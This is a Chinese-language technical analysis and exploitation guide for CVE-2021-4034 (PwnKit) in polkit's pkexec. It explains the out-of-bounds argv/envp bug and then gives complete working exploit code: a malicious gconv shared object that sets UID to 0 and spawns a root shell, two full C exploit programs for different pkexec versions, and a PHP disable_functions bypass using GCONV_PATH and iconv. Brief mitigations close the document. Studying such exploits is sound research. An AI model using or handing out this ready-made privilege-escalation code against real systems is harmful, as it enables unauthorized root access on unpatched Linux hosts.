CVE-2021-4034 深入分析及漏洞复现
字数 1744 2025-08-29 08:31:35
CVE-2021-4034 (PwnKit) 漏洞深入分析与利用指南
漏洞概述
CVE-2021-4034 是 polkit 的 pkexec 工具中存在的一个本地提权漏洞,影响所有版本的 pkexec。该漏洞允许低权限用户在默认配置下提升至 root 权限。
背景知识
polkit 和 pkexec
- polkit 是一个授权管理器,其系统架构由授权和身份验证代理组成
- pkexec 是 polkit 的一个工具,作用类似于 sudo,允许用户以另一个用户身份执行命令
关键概念
- SUID 位:pkexec 通常设置了 SUID 位,以 root 权限运行
- 环境变量清理:Linux 的动态链接器会清除特权程序执行时的敏感环境变量
- 字符集转换:glibc 的 iconv 函数族用于字符集转换
漏洞原理分析
漏洞位置
漏洞位于 pkexec 的 main 函数中,涉及参数处理的逻辑错误。
详细分析
-
参数处理缺陷:
- main 函数初始化
n=1(534行) - 当不带参数运行 pkexec 时,
argv[1]实际上越界访问了envp[0] - 由于 main 函数的参数
argv和envp在内存中相邻,argv[1]会指向envp[0]
- main 函数初始化
-
路径处理:
path被赋值为envp[0](610行)g_find_program_in_path(path)通过 PATH 环境变量查找程序绝对路径(632行)argv[1]被赋值为绝对路径地址(639行),实际上是修改了envp[0]
-
利用条件:
- 攻击者可以控制
envp[0],从而写入任意环境变量 - 关键是要找到一个可以利用的环境变量来引入外部 so 并执行其中的函数
- 攻击者可以控制
环境变量保护机制绕过
Linux 动态链接器会清除以下危险环境变量(定义在 unsecvars.h):
- GCONV_PATH
- LD_PRELOAD
- 其他能动态加载路径的环境变量
直接通过 execve 设置这些变量无效,因为它们会被清除。而此漏洞允许我们在清除后重新注入这些变量。
利用技术
核心思路
- 通过漏洞注入
GCONV_PATH环境变量 - 利用
g_printerr函数的字符集转换功能触发恶意代码执行
利用步骤
-
伪造目录结构:
mkdir -p 'GCONV_PATH=.'; touch 'GCONV_PATH=./pwnkit'; chmod a+x 'GCONV_PATH=./pwnkit' mkdir -p pwnkit -
创建 gconv-modules 文件:
module UTF-8// PWNKIT// pwnkit 1表示从 UTF-8 转换为 PWNKIT 编码使用 pwnkit.so,cost 值为 1(更高优先级)
-
编译恶意 so(pwnkit.c):
#include <stdio.h> #include <stdlib.h> #include <unistd.h> void gconv() {} void gconv_init() { setuid(0); setgid(0); seteuid(0); setegid(0); system("export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin; rm -rf 'GCONV_PATH=.' 'pwnkit'; /bin/sh"); exit(0); }编译命令:
gcc pwnkit/pwnkit.c -o pwnkit/pwnkit.so -shared -fPIC -
构造恶意环境变量:
char *env[] = { "pwnkit", // 触发越界写,最终写入 GCONV_PATH=./pwnkit "PATH=GCONV_PATH=.", // 使 g_find_program_in_path 在 GCONV_PATH=. 目录中查找 "CHARSET=PWNKIT", // 触发 g_printerr 更换编码字符 "SHELL=pwnkit", // 触发调用 g_printerr 函数 NULL }; -
触发执行:
execve("./pkexec", (char*[]){NULL}, env);
触发 g_printerr 的替代方法
除了 SHELL 变量,还可以使用:
"XAUTHORITY=../xxx" // 包含 ".." 触发验证错误
或
"LC_MESSAGES=en_US.UTF-8"
不同版本的差异处理
0.114+ 版本的挑战
在 0.114 及以上版本中,main 函数添加了 setenv 调用,导致环境变量迁移到堆上,使得栈上的越界写失效。
解决方案
在调用 setenv 前预先设置该环境变量,防止重新分配:
"GIO_USE_VFS=", // 预先设置,防止 envp 迁移
验证实验
// t1.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main(int argc, char *argv[]) {
char *a_argv[] = { NULL };
char *a_envp[] = {
"env1=1",
"env2=2",
"env3=123456789", // 关键:预先设置
"env4=",
NULL
};
execve("./t2", a_argv, a_envp);
}
// t2.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
extern char **environ;
int main(int argc, char *argv[]) {
setenv("env3", "local", 1);
printf("stack envp:\n");
printf("%p:%s\n", &argv[1], argv[1]);
printf("%p:%s\n", &argv[2], argv[2]);
printf("%p:%s\n\n", &argv[3], argv[3]);
char **var;
printf("real environ:\n");
for (var = environ; *var != NULL; ++var)
printf("%p:%s\n", var, *var);
}
PHP 绕过 disable_functions 的应用
利用原理:
- PHP 的 iconv 函数调用 glibc 的 iconv 相关函数
- 同样会使用
iconv_open,受GCONV_PATH影响
利用方法:
- 上传恶意 so 和 gconv-modules 到 /tmp
- 使用 PHP 代码触发:
<?php putenv("GCONV_PATH=/tmp/"); iconv("自定义字符集名", "UTF-8", "whatever"); ?>
完整利用代码示例
针对 0.105 版本
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
char *shell =
"#include <stdio.h>\n"
"#include <stdlib.h>\n"
"#include <unistd.h>\n\n"
"void gconv() {}\n"
"void gconv_init() {\n"
" setuid(0); setgid(0);\n"
" seteuid(0); setegid(0);\n"
" system(\"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin; /bin/sh\");\n"
" exit(0);\n"
"}";
int main(int argc, char *argv[]) {
FILE *fp;
system("mkdir -p 'GCONV_PATH=.'; touch 'GCONV_PATH=./pwnkit'; chmod a+x 'GCONV_PATH=./pwnkit'");
system("mkdir -p pwnkit; echo 'module UTF-8// PWNKIT// pwnkit 1' > pwnkit/gconv-modules");
fp = fopen("pwnkit/pwnkit.c", "w");
fprintf(fp, "%s", shell);
fclose(fp);
system("gcc pwnkit/pwnkit.c -o pwnkit/pwnkit.so -shared -fPIC");
char *env[] = {
"pwnkit",
"PATH=GCONV_PATH=.",
"CHARSET=PWNKIT",
"SHELL=pwnkit",
NULL
};
execve("./pkexec_105", (char*[]){NULL}, env);
}
针对 0.115+ 版本
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
char *shell =
"#include <stdio.h>\n"
"#include <stdlib.h>\n"
"#include <unistd.h>\n\n"
"void gconv() {}\n"
"void gconv_init() {\n"
" setuid(0); setgid(0);\n"
" seteuid(0); setegid(0);\n"
" system(\"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin; /bin/sh\");\n"
" exit(0);\n"
"}";
int main(int argc, char *argv[]) {
FILE *fp;
system("mkdir -p 'GCONV_PATH=.'; touch 'GCONV_PATH=./pwnkit'; chmod a+x 'GCONV_PATH=./pwnkit'");
system("mkdir -p pwnkit; echo 'module UTF-8// PWNKIT// pwnkit 1' > pwnkit/gconv-modules");
fp = fopen("pwnkit/pwnkit.c", "w");
fprintf(fp, "%s", shell);
fclose(fp);
system("gcc pwnkit/pwnkit.c -o pwnkit/pwnkit.so -shared -fPIC");
char *env[] = {
"pwnkit",
"PATH=GCONV_PATH=.",
"CHARSET=PWNKIT",
"GIO_USE_VFS=", // 防止 envp 迁移
"SHELL=pwnkit",
NULL
};
execve("./pkexec_115", (char*[]){NULL}, env);
}
防御措施
- 升级 polkit 到已修复版本
- 移除 pkexec 的 SUID 位(可能影响功能):
chmod 0755 /usr/bin/pkexec - 监控对 gconv-modules 的异常修改
总结
CVE-2021-4034 是一个典型的由内存越界访问导致的权限提升漏洞,结合了环境变量注入和 glibc 字符集转换机制的特性。该漏洞的利用过程展示了:
- 如何绕过 Linux 的安全机制(环境变量清理)
- 利用程序逻辑错误实现内存越界写
- 通过 glibc 特性触发恶意代码执行
- 不同版本间的利用差异处理
这个漏洞也意外地提供了 PHP 绕过 disable_functions 的新方法,展示了安全研究的横向思维。